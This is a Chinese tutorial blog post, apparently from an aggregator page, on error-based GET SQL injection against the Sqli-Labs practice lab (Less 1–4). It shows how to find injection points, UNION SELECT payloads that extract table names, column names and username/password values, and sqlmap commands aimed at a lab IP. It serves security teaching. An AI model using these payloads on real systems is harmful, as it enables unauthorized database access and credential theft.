当前位置:网站首页>SQL注入(2)
SQL注入(2)
2022-08-09 03:04:00 【CHIAJ176】
GET基于报错的SQL注入
SQL注入的分类
根据注入位置数据类型可将SQL注入分为两类:数字型和字符型。
数字型:
sql select * from table where id = 用户输入id
字符型:
sql select * from table where id = '用户输入id'
GET基于报错的SQL注入发现
通过在URL中修改对应的ID值、为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠 \来探测URL中是否存在注入点。
实验:Sqli-Lab Less1~4,GET基于报错的SQL注入
Less1:
%27等价于’。
根据 ‘14’’ LIMIT 0,1 可推断出SQL:
select login_name,password from admin where id = 'id' limit 0,1;
#字符串类型
Less2:
根据 ’ LIMIT 0,1 可推断出SQL:
select login_name,password from admin where id = id limit 0,1;
#数字类型
Less3:
根据 ‘14’’) LIMIT 0,1 可推断出SQL:
select login_name,password from admin where id = ('id') limit 0,1;
#括号
Less4:
使用\ 具有转义作用。
根据 “”) LIMIT 0,1 可推断出SQL:
select login_name,password from admin where id = (''id'') limit 0,1;
#双引号,有隐形的类型转换
GET基于报错的SQL注入利用
1、利用order by 判断字段数:
select login_name,password from admin where id = 'id' limit 0,1;
#字符串类型
select login_name,password from admin where id = 'id' order by n--+' limit 0,1;
#order by
查询可利用端口:
http://192.168.81.128/sqli/Less-1/?id=0’ UNION SELECT 1,2,3 --+
http://192.168.81.128/sqli/Less-1/?id=0’ UNION SELECT 1,user(),database() --+
2、利用union select 联合查询,获取表名:
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
3、利用union select 联合查询,获取字段名:
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema= 'users' --+
4、利用union select 联合查询,获取字段值
0' union select 1,group_concat(uersname,0x3a,password),3 from users --+
利用Sqlmap测试
sqlmap -u “http://192.168.81.128/sqli/Less-1/?id=1”–dbs --batch
sqlmap -u “http://192.168.81.128/sqli/Less-1/?id=1”–D security --tables
边栏推荐
猜你喜欢
Kubernetes:(十四)安全机制(一定要做好安全措施哦)
"Lonely Walking on the Moon": Two choices of Duguyue, let a "middleman" become a big hero
JSP入门
Image.new() 及 img.paste() 的用法记录
2022-08-08 第五小组 顾祥全 学习笔记 day31-集合-IO流-File类
LeetCode_43_字符串相乘
一款免费的强大办公工具。
Solve the Final Fantasy 13-2 Clock Puzzle with DFS
Jenkins environment deployment, (packaging, publishing, deployment, automated testing)
手把手教你uniapp接入聊天IM即时通讯功能-源码分享
随机推荐
智能计数器控制板的功能及应用有哪些?
20220526动态规划:不同路径
flat() :递归地将数组展平到指定的深度
【es6】教程 Symbol数据以及迭代器和生成器
126. 单词接龙 II
多御安全浏览安卓版升级尝鲜,新增下载管理功能
C专家编程 第9章 再论数组 9.1 什么时候数组与指针相同
作为常用的荧光标记试剂Cy5 亚磷酰胺(CAS号:182873-67-2)有哪些特点了?
高并发+海量数据下如何实现系统解耦?【中】
手把手教你uniapp接入聊天IM即时通讯功能-源码分享
最优化方法——0.618法matlab实现
Lottie进阶和原理分析
掌握 TypeToken 原理及泛型擦除
Leetcode刷题——148. 排序链表
【面试整理】-- 多线程
第一部分:和数组相关的问题
SwiftUI * Grid
如何应对网络攻击?
机器学习入门
ERROR:Module not found: Error: Can‘t resolve ‘core-js/modules/es.promise.js‘ in ‘address‘